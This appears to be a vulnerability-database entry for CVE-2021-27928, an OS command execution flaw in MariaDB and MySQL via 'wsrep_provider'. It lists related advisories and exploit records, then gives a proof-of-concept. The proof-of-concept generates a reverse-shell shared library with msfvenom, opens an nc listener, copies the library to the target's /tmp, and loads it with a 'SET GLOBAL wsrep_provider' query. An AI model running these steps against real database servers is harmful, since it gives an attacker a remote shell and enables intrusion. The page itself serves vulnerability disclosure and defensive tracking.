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MariaDB 10.2 /MySQL - (wsrep_provider) OS Command Execution Vulnerability
| Reporter | Title | Published | Views | Family All 271 |
|---|---|---|---|---|
 | Security fix for the ALT Linux 9 package mariadb version 10.4.20-alt1 | 14 Jul 202100:00 | – | altlinux |
 | Exploit for Out-of-bounds Write in Polkit_Project Polkit | 27 Jan 202202:27 | – | githubexploit |
| kit-exploits-prv | 13 Jun 202614:42 | – | githubexploit |
| Exploit for Code Injection in Mariadb | 9 Dec 202111:18 | – | githubexploit |
| Exploit for Code Injection in Mariadb | 14 Dec 202217:36 | – | githubexploit |
| Exploit for Code Injection in Mariadb | 15 Apr 202106:40 | – | githubexploit |
 | Security Bulletin: PowerVC installation on RHEL is vulnerable to MariaDB with CVE-2021-27928 | 18 May 202211:23 | – | ibm |
 | Amazon Linux 2 : mariadb (ALASMARIADB10.5-2023-001) | 27 Sep 202300:00 | – | nessus |
| Alibaba Cloud Linux 3 : 0030: mariadb:10.3 and mariadb-devel:10.3 (ALINUX3-SA-2021:0030) | 14 May 202500:00 | – | nessus |
| AlmaLinux 8 : mariadb:10.3 and mariadb-devel:10.3 (ALSA-2021:1242) | 9 Feb 202200:00 | – | nessus |
10
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Exploit Author: Central InfoSec
# Version: MariaDB 10.2 before 10.2.37, 10.3 before 10.3.28, 10.4 before 10.4.18, and 10.5 before 10.5.9; Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928
# Proof of Concept:
# Create the reverse shell payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so
# Start a listener
nc -lvp <port>
# Copy the payload to the target machine (In this example, SCP/SSH is used)
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so
# Execute the payload
mysql -u <user> -p -h <ip> -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'
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14 Apr 2021 00:00Current
1.1Low risk
Vulners AI Score1.1
CVSS 29
CVSS 3.17.2
EPSS0.48947